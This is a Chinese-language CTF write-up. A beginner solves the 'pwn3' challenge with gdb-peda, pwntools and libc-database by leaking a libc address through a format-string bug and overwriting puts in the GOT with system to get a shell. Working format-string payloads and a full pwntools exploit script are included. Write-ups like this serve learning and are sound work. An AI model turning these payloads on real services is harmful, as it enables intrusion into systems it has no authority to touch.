首先感谢wah师傅,本文记录萌新第一次做pwn题的经历,期间用到各种工具与姿势都是平时writeup上看到或者师傅们教的,深有体会pwn的最初入坑实在太难,工具与姿势实在太重要,以此文记录下自己解题过程与思路,期以共同学习。
预备姿势:
1.gdb-peda
这是一个调试时必不可少的神器,github地址在:https://github.com/longld/peda ,它的安装两条简单命令即可完成:
1.git clone https://github.com/longld/peda.git ~/peda
2.echo "source ~/peda/peda.py" >> ~/.gdbinit
3.echo "DONE! debug your program with gdb and enjoy"
此外还有一些比较有用的技巧:
4.checksec , 检查该二进制的一些安全选项是否打开
5.print system , 直接输出__libc_system的地址 , 用以验证信息泄露以及system地址计算的正确性
6.shellcode , 直接生成shellcode , 虽然这次没有用上
7.attach pid , 在利用脚本connect到socat上之后,socat会fork出一个进程,gdb attach上这个进程,即可以进行远程调试了。注意:需要以root权限启动的gdb才有权限attach 。
8.更多内容在其github地址中有简要说明。
2.socat 命令 :
socat 细说很复杂,它是一个类似于nc的东西,本机调试时必须要熟记的一条命令:
socat tcp-listen:12345, fork EXEC:./pwn3
3.pwntools
1.pwntools为一个CTF Pwn类型题exp开发框架,其安装过程如下:
1.apt-get install python2.7 python2.7-dev python-pip
2.pip install pwntools
2.安装问题记录:
1.如果在ubuntu上安装不成功,查看log时发现缺少Python.h,则需要安装python2.7-dev
2.如果在ubuntu上安装之后,提示module object has no attribute pids,再次pip install pwntools –upgrade可能可以解决。
3.利用脚本模板:
from pwn import *
context.log_level = 'debug' #debug模式,可输出详细信息
conn = remote('127.0.0.1' , 12345) #通过socat将二进制文件运行在某个端口之后,可使用本语句建立连接,易于在本地与远程之间转换。
print str(pwnlib.util.proc.pidof('pwn')[0]) #这两条便于在gdb下迅速attach 上对应的pid
raw_input('continue')
conn.recvuntil('Welcome') #两种不同的recv
conn.recv(2048)
shellcode = p32(0x0804a028) #用于将数字变成x28xa0x04x08的形式
conn.sendline(shellcode) #向程序发送信息,使用sendline而非send是个好习惯
conn.interactive() #拿到shell之后,用此进行交互
4.详细文档地址如下: http://pwntools.readthedocs.org/en/2.2/
4.libc-database
1.包含各种版本的libc,可根据利用过程中泄露出来的libc信息获取其他有用信息。其github地址如下: https://github.com/niklasb/libcdatabase
2.将其clone至本地后,可以看到有这么几个可执行程序,其功能如下:
1../get 下载所有的libc版本,从而更新数据库
2../add libc.so , 将已有的libc更新入数据库
3../find __libc_start_main 990 , 在数据库中查找__libc_start_main的地址低三字节为990的libc是什么版本。
4../dump libc6_2.19-0ubuntu6.6_i386 ,根据step 3所得到的具体id,以此命令输出该版本libc的某些有用的偏移
5.IDA
二进制安全必备神器,非正版可在吾爱的爱盘中找。
正式做题:
pwn3 是一道格式化字符串漏洞题,关于该洞的相关内容可参考Drops上的文章《漏洞挖掘基础之格式化字符串》,
在本程序中,main函数下有三个主要的功能函数,put_file,show_dir,get_file,功能分别为保存文件名与文件内容、根据先入后出的顺序输出文件名、根据文件名显示文件内容。 此题的漏洞点位于get_file()函数中:
在用户将文件内容put到文件中,然后调用get_file将其读取出来时,存在格式化字符串漏洞,借此可以达到信息泄露与任意地址写。
由于可以多次进行put , get , dir 操作,因此我们有足够的步骤去获取shell,本题获取shell需要做以下两件事:
1.利用格式化字符串的任意写能力,将show_dir()函数中所调用的puts函数在got.plt表中的地址改为system的地址。
2.将show_dir()所显示的文件名内容设成“/bin/sh;”
做到以上两步之后,即可在运行show_dir时将puts(“/bin/sh;”)变成system("/bin/sh;"),并成功获取shell。
将show_dir()所puts的内容变为“/bin/sh;”比较简单,只需将put的文件名按该字符串逆向拼接一下即可,比如第一次put的文件名为“sh;”,第二次put "in/",第三次put "/b" ,执行dir命令时便会执行puts("/bin/sh;")。 本题的关键在于将got.plt表中的puts替换为system的地址。
但是我们不知道system函数的地址,因为我们不知道动态链接之后的libc基址,这需要一条信息泄露,而格式化字符串漏洞可以很方便地做到这一点。
将程序用gdb跑起来,将断点设在有漏洞的printf函数处,即b *0x0804889E:
如下图:
continue,断下之后,查看栈信息
stack 100
可以看到在栈上第91个位置存在__libc_start_main+243,即__libc_start_main_ret的地址:
因而构造printf("%91$p")即可以将该地址的值泄露出来,91代表printf的第91个不定参数(使用%91$x同样可以),在我的调试过程中得到值如下(由于随机化的存在,每次都可能不一样):
通过计算可知__libc_start_main的地址为: 0xb75f9a83-243 = 0xb75f9990 ,我们来在gdb中使用print验证一下:
没有问题! 利用该地址,如何在没有给出libc的情况下得到libc的基址以及system的地址?这时就可以用libc database了,根据__libc_start_main地址低三位为990,查询结果如下:
然后便可计算出system()的地址: system_addr = __libc_start_main_ret_addr – 0x19a83 + 0x40190 = 0xb7620190 , 在gdb中验证一下:
没有问题。最后,需要得到put在plt中的地址,并把system_addr写入到put_got_addr处,通过objdump -R pwn3可以得到plt表内容:
可知puts_got_addr = 0x0804a028,最后还需要构造一则任意地址写的payload,格式化字符串写一般分两次写入,每次写半个dword长度的内容,这
样可以大大减少程序输出大量空格的时间。两个payload如下:
payload1 = p32(puts_got_addr) + '%%%dc' % ((system_addr & 0xffff)-4) + '%7$hn'
payload2 = p32(puts_got_addr+2) + '%%%dc' % ((system_addr>>16 & 0xffff)-4) + '%7$hn'
在当前执行环境下,以上内容实为:
payload1 = "x28xa0x04x08%396c%7$hn"
payload2 = "x2axa0x04x08%46942c%7$hn"
其中p32(puts_got_addr)将数字形式的0x0804a028转为可被读入内存的字符串形式"x28xa0x04x08",%396c与%46942c代表输出396或46942个空格,systemaddr & 0xffff 取半个dword后还需减去4,是因为前面p32(puts_got_addr)已经占了四个字节,这四个字节与后面的空格数相加的总字节数相加刚好为systemaddr & 0xffff,而该值将会写入当前printf的第7个不定参数中,而这第七个不定参数正好是puts_got_addr与puts_got_addr+2 ,以shellcode2的执行情况为例,请看下图:
prinf函数的参数从栈顶开始,栈顶指向我们所构造的format payload字符串的地址,然后往下分别是第一个不定参数,第二个不定参数……第七个不定参数即为我们所输入的格式化串中的前四个字节内容0x0804a02a。因而执行完该语句后,会向0x0804a02a写入两个字节内容:0xb762。
payload1的执行过程同理,当执行完以上两条payload之后,我们便成功向地址0x0804a028中写入了四字节内容0xb7620190,即将plt表中puts的地址
替换成了system函数的地址,所以当再次向系统发送dir指令,并执行puts函数时,实际执行的则是system函数。
完整的exp代码如下:
from pwn import *
#context.log_level = 'debug'
conn = remote('127.0.0.1',12345)
#conn = remote('120.27.155.82',9000)
def putfile( conn , filename , content ) :
print 'putting ' , content
conn.sendline('put')
conn.recvuntil(':')
conn.sendline(filename)
conn.recvuntil(':')
conn.sendline(content)
conn.recvuntil('ftp>')
def getfile(conn , filename ) :
conn.sendline('get')
conn.recvuntil(':')
conn.sendline(filename)
return conn.recv(2048)
raw_input('start')
conn.recvline()
conn.send('rxraclhmn')
conn.recvuntil('ftp>')
putfile(conn , 'sh;' , '%91$x')
res = getfile( conn , 'sh;')
conn.recvuntil('ftp>')
#calculate put_got_addr , system_addr
__libc_start_main_ret = int(res , 16)
system_addr = __libc_start_main_ret - 0x19a83 + 0x00040190
print 'system addr ' , hex(system_addr)
put_got_addr = 0x0804A028
#write system_addr to put_addr , lowDword
payload1 = p32(put_got_addr) + '%%%dc' % ((system_addr & 0xffff)-4) + '%7$hn'
putfile(conn , 'in/' , payload1)
getfile(conn , 'in/')
conn.recvuntil('ftp>')
#write system_addr to put_addr , highDword
payload2 = p32(put_got_addr+2) + '%%%dc' % ((system_addr>>16 & 0xffff)-4) + '%7$hn'
putfile(conn, '/b' , payload2)
getfile(conn,'/b')
conn.recvuntil('ftp>')
conn.sendline('dir')
conn.interactive()
实际上,在本地调试成功之后,有可能在远程也无法成功,因为远程使用的libc版本极大可能与本机的不一致,因此,我们需要在泄露出__libc_start_main的地址之后,再次使用 libc database 进行一次查询,不过我本机的libc版本与远程服务器的居然一致,这感觉就很开心了。
发表评论
您还未登录,请先登录。
登录